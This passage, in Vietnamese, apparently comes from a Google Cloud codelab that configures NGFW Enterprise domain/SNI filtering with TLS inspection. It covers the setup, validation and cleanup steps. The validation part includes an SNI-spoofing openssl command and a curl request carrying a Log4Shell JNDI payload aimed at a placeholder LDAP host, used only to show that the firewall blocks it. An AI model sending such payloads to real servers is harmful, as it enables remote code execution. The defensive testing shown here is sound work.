a2kuZ29vZy93cjIwJQYIKwYBBQUHMAKGGWh0dHA6Ly9pLnBraS5nb29nL3dyMi5j
cnQwGQYDVR0RBBIwEIIOd3d3Lmdvb2dsZS5jb20wEwYDVR0gBAwwCjAIBgZngQwB
AgEwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2MucGtpLmdvb2cvd3IyL29CRllZ
YWh6Z1ZJLmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AMz7D2qFcQll/pWb
U87psnwi6YVcDZeNtql+VMD+TA2wAAABmSiwb7kAAAQDAEYwRAIgUgwfOTyMz1t2
IoMnKJ53W+kZw7Jsu32WvzgsckwoVUsCIF13LpnKVkz4nb5ns+gCV9cmXtjrOIYR
los6Y3B55Zc4AHcAEvFONL1TckyEBhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGZ
KLBu2wAABAMASDBGAiEAs7m+95jkhA5h/ycpQu8uLo2AZsIpOX6BvJiycuvgMJsC
IQC6O2leGpUvSExL6fYvpVba3mrNVlw1a5u8OFI7NSguhTANBgkqhkiG9w0BAQsF
AAOCAQEAa9vVQ6zoBODliAAhLTG3uYaQZevaE96lOdD0jnRw/u3EzNL4UnDED/O+
x8XNvv5njb5MsntnYUgQda3nNtYfpGe6qvuYhyiBegdzqBsHVik4Rzlp/YeMGAV/
zqKl+Wtg5iCjq4+yI3aLex36NeFA7n8SQbKc0n8PvmAF7Anh80H3A/XPaINTKueO
kBltI+iP9FPL64b5NbcNqeanibsOE/2tMImLF/7Kp1/5IFCq7UsR09mBRRfUbRyc
1Zp7ndj5sMLqqgCuF8wTaELMubN4pw5S9FdO7iWA254+NhXidnU8WNHadgR0OmWr
jr89HAhAtpQGEarldpmnJPMadHEcdw==
-----END CERTIFICATE-----
subject=CN = www.google.com
issuer=C = US, O = Google Trust Services, CN = WR2
---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 4495 bytes and written 397 bytes
Verification: OK
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---

Đây là lúc tính năng kiểm tra TLS có thể giúp bạn khắc phục lỗ hổng này.

Đóng kết nối và thoát khỏi máy ảo:

"ctrl" + c
exit

18. [Không bắt buộc] Kiểm tra TLS

Định cấu hình tài nguyên TLS

Phần này là không bắt buộc vì tính năng lọc miền/SNI hoạt động mà không cần kiểm tra TLS. Tuy nhiên, bạn có thể muốn kiểm tra TLS (Bảo mật tầng truyền tải) nếu dự định sử dụng tính năng ngăn chặn mối đe doạ hoặc trong tương lai khi có tính năng lọc URL đầy đủ, bạn có thể tạo các quy tắc dựa trên đường dẫn trong hồ sơ bảo mật.

Ngoài ra, tính năng kiểm tra TLS cung cấp thêm một lớp kiểm tra vì có thể xảy ra trường hợp giả mạo SNI.

Tạo một nhóm CA. Tài nguyên này sẽ được dùng để lưu trữ chứng chỉ CA gốc mà chúng tôi tạo cho NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=devops

Tạo CA gốc. Đây là chứng chỉ CA sẽ được dùng để ký các chứng chỉ bổ sung cho các yêu cầu thông qua NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Domain/SNI"

Nếu bạn nhận được thông báo bên dưới, hãy trả lời y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

Tạo một tài khoản dịch vụ. Tài khoản dịch vụ này sẽ được dùng để yêu cầu chứng chỉ cho NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Thiết lập quyền IAM cho tài khoản dịch vụ:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

Tạo tệp YAML chính sách TLS. Tệp này sẽ chứa thông tin về các tài nguyên cụ thể:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

Nhập Chính sách kiểm tra TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Cập nhật mối liên kết điểm cuối để bật TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

Lấy chứng chỉ CA và thêm chứng chỉ đó vào kho CA của máy khách. Đây là yêu cầu bắt buộc để thiết lập mối quan hệ tin cậy vì NGFW Enterprise sẽ thiết lập TLS (Bảo mật tầng truyền tải) và xuất trình chứng chỉ đã ký từ Nhóm CA:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

Chuyển chứng chỉ CA cho ứng dụng:

gcloud compute scp --tunnel-through-iap  $prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

SSH vào VM, di chuyển chứng chỉ CA đến /usr/local/share/ca-certificates và cập nhật kho CA:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv domain-sni-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Thoát khỏi máy ảo và tiếp tục trên cloudshell.

Cập nhật quy tắc tường lửa để kiểm tra TLS

gcloud compute network-firewall-policies rules update 300 --action=apply_security_profile_group --firewall-policy=$prefix-fwpolicy  --global-firewall-policy --direction=EGRESS --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg --layer4-configs=tcp:80,tcp:443 --dest-ip-ranges=0.0.0.0/0 --enable-logging --tls-inspect

Xác thực các quy tắc bằng tính năng kiểm tra TLS

Bắt đầu kết nối SSH với máy ảo thông qua IAP:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Gửi các yêu cầu mẫu đến những đích đến được phép:

curl https://wikipedia.org --max-time 2
curl https://ifconfig.me --max-time 2

Các bài kiểm thử này sẽ vượt qua mà không gặp vấn đề gì. Nếu muốn xem xét chứng chỉ và xác nhận xem chứng chỉ có được NGFW ký hay không, chúng ta có thể chạy lệnh sau:

curl https://ifconfig.me --max-time 2 -vv

Kết quả đầu ra dự kiến:

admin@domain-sni-us-west1-a-client:~$ curl https://ifconfig.me --max-time 2 -vv
*   Trying 34.160.111.145:443...
* Connected to ifconfig.me (34.160.111.145) port 443 (#0)
* ALPN: offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: CN=ifconfig.me
*  start date: Sep 20 07:05:42 2025 GMT
*  expire date: Sep 21 06:58:10 2025 GMT
*  subjectAltName: host "ifconfig.me" matched cert's "ifconfig.me"
*  issuer: CN=Google Cloud Firewall Intermediate CA ID#5226903875461534691
*  SSL certificate verify ok.
* using HTTP/1.x
> GET / HTTP/1.1
> Host: ifconfig.me
> User-Agent: curl/7.88.1
> Accept: */*
> 
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 200 OK
< Content-Length: 10
< access-control-allow-origin: *
< content-type: text/plain
< date: Sat, 20 Sep 2025 07:05:43 GMT
< via: 1.1 google
< Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
< 
* Connection #0 to host ifconfig.me left intact
x.x.x.x

Trong đầu ra ở trên, chúng ta có thể thấy rằng yêu cầu đang được NGFW Enterprise kiểm tra TLS vì chứng chỉ nhận được được ký bởi CA gốc mà chúng ta đã tạo trước đó. (trường tổ chức phát hành)

Xác thực các quy tắc cố gắng mạo danh SNI bằng tính năng kiểm tra TLS

Hãy xác thực hành vi ngay bây giờ khi tính năng kiểm tra TLS được bật.

Chạy lệnh openssl sau để giả mạo SNI:

openssl s_client -connect www.google.com:443 -servername ifconfig.me

Kết quả đầu ra dự kiến:

CONNECTED(00000003)
write:errno=104
---
no peer certificate available
---
No client certificate CA names sent
---
SSL handshake has read 0 bytes and written 317 bytes
Verification: OK
---
New, (NONE), Cipher is (NONE)
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---

Trong đầu ra ở trên, chúng ta thấy rằng một yêu cầu giả mạo SNI từng hoạt động hiện không thành công khi bật tính năng kiểm tra TLS. Lý do là khi bạn bật tính năng kiểm tra TLS, NGFW sẽ kiểm tra SNI dựa trên Tên thay thế của thực thể (SAN) trong chứng chỉ máy chủ. Nếu không khớp, yêu cầu sẽ không thực hiện được cơ chế bắt tay TLS.

Xác thực miền/SNI và ngăn chặn mối đe doạ bằng tính năng kiểm tra TLS

Giờ đây, chúng ta sẽ chạy lại thử nghiệm trước đó cho một yêu cầu độc hại (log4j) đến một miền được phép.

Gửi mẫu độc hại (log4j) đến một đích đến được phép là miền/SNI:

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

Kết quả đầu ra dự kiến:

000

Mã phản hồi 000 này là do NGFW đã chấm dứt kết nối vì phát hiện thấy mối đe doạ. Chúng ta có thể thu thập thêm thông tin chi tiết để xác nhận.

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 -vv

Kết quả đầu ra dự kiến:

*   Trying 89.238.73.97:443...
* Connected to www.eicar.org (89.238.73.97) port 443 (#0)
* ALPN: offers h2,http/1.1
} [5 bytes data]
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
} [512 bytes data]
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
{ [5 bytes data]
* TLSv1.3 (IN), TLS handshake, Server hello (2):
{ [122 bytes data]
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
{ [6 bytes data]
* TLSv1.3 (IN), TLS handshake, Certificate (11):
{ [3423 bytes data]
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
{ [80 bytes data]
* TLSv1.3 (IN), TLS handshake, Finished (20):
{ [52 bytes data]
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
} [1 bytes data]
* TLSv1.3 (OUT), TLS handshake, Finished (20):
} [52 bytes data]
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: CN=www.eicar.org
*  start date: Sep 20 07:50:20 2025 GMT
*  expire date: Sep 21 10:41:22 2025 GMT
*  subjectAltName: host "www.eicar.org" matched cert's "www.eicar.org"
*  issuer: CN=Google Cloud Firewall Intermediate CA ID#4044393130040997148
*  SSL certificate verify ok.
* using HTTP/1.x
} [5 bytes data]
> GET / HTTP/1.1
> Host: www.eicar.org
> Accept: */*
> User-Agent: ${jndi:ldap://123.123.123.123:8055/a}
> 
* Recv failure: Connection reset by peer
* OpenSSL SSL_read: Connection reset by peer, errno 104
* Closing connection 0
} [5 bytes data]
* Send failure: Broken pipe
000

Qua thông tin trên, chúng ta thấy rằng NGFW đã thực hiện quy trình kiểm tra TLS và chặn yêu cầu độc hại.

Thoát khỏi máy ảo:

exit

Chuyển sang phần tiếp theo để xem các bước dọn dẹp.

19. Các bước dọn dẹp

Dọn dẹp chế độ thiết lập cơ bản

Xoá các phiên bản:

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Xoá Chính sách mạng của Tường lửa trên đám mây và mối liên kết:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Xoá Cloud Router và Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Xoá các địa chỉ IP đã đặt trước:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Dọn dẹp SPG và mối liên kết của Tường lửa trên đám mây

Xoá Nhóm hồ sơ bảo mật và Hồ sơ lọc mối đe doạ và URL theo thứ tự sau:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles url-filtering \
  delete $prefix-sp \
  --organization $org_id \
  --location=global

Xoá mối liên kết điểm cuối của Tường lửa đám mây:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Xoá điểm cuối Tường lửa trên đám mây. Quá trình này có thể mất khoảng 20 phút:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

Bạn có thể xác nhận rằng điểm cuối Cloud NGFW đã bị xoá bằng cách chạy lệnh bên dưới:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Trạng thái của điểm cuối phải hiển thị:

STATE: DELETING

Khi quá trình này hoàn tất, điểm cuối sẽ không còn xuất hiện trong danh sách nữa.

[Không bắt buộc] Dọn dẹp TLS

Nếu bạn tiếp tục với các cấu hình kiểm tra TLS không bắt buộc, hãy chạy các lệnh bên dưới để dọn dẹp các tài nguyên TLS.

Xoá chính sách TLS:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

Tắt và xoá CA gốc và Nhóm CA:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Dọn dẹp mạng con và VPC

Cuối cùng, hãy xoá mạng con và mạng VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

20. Kết luận và những điều cần cân nhắc

Phòng thí nghiệm này rất đơn giản và chỉ kiểm thử với một VM kết nối Internet. Trong các trường hợp thực tế, VPC có thể chứa nhiều tài nguyên, lưu lượng truy cập di chuyển theo mọi hướng (Bắc/Nam và Đông/Tây). Vì Quy tắc tường lửa để lọc miền/SNI là EGRESS 0.0.0.0/0, nên đây là quy tắc "bao gồm tất cả" và PHẢI được định cấu hình làm quy tắc có mức độ ưu tiên thấp nhất trong chính sách mạng – nếu không, lưu lượng truy cập sẽ khớp một cách không mong muốn và được cho phép/từ chối dựa trên quy tắc urlFiltering mặc định.

Ngoài ra, hãy cân nhắc sử dụng Loại mạng để giới hạn phạm vi. Điều này giúp ngăn lưu lượng truy cập E/W khớp với quy tắc. Hoặc tạo một quy tắc cho phép có mức độ ưu tiên cao hơn cho lưu lượng truy cập E/W.

Vui lòng xem tài liệu về các phương pháp hay nhất để biết thêm thông tin chi tiết về tính năng lọc miền/SNI.

21. Xin chúc mừng!

Xin chúc mừng, bạn đã hoàn tất thành công lớp học lập trình về Cloud NGFW Enterprise để lọc miền và SNI bằng tính năng kiểm tra TLS (không bắt buộc)!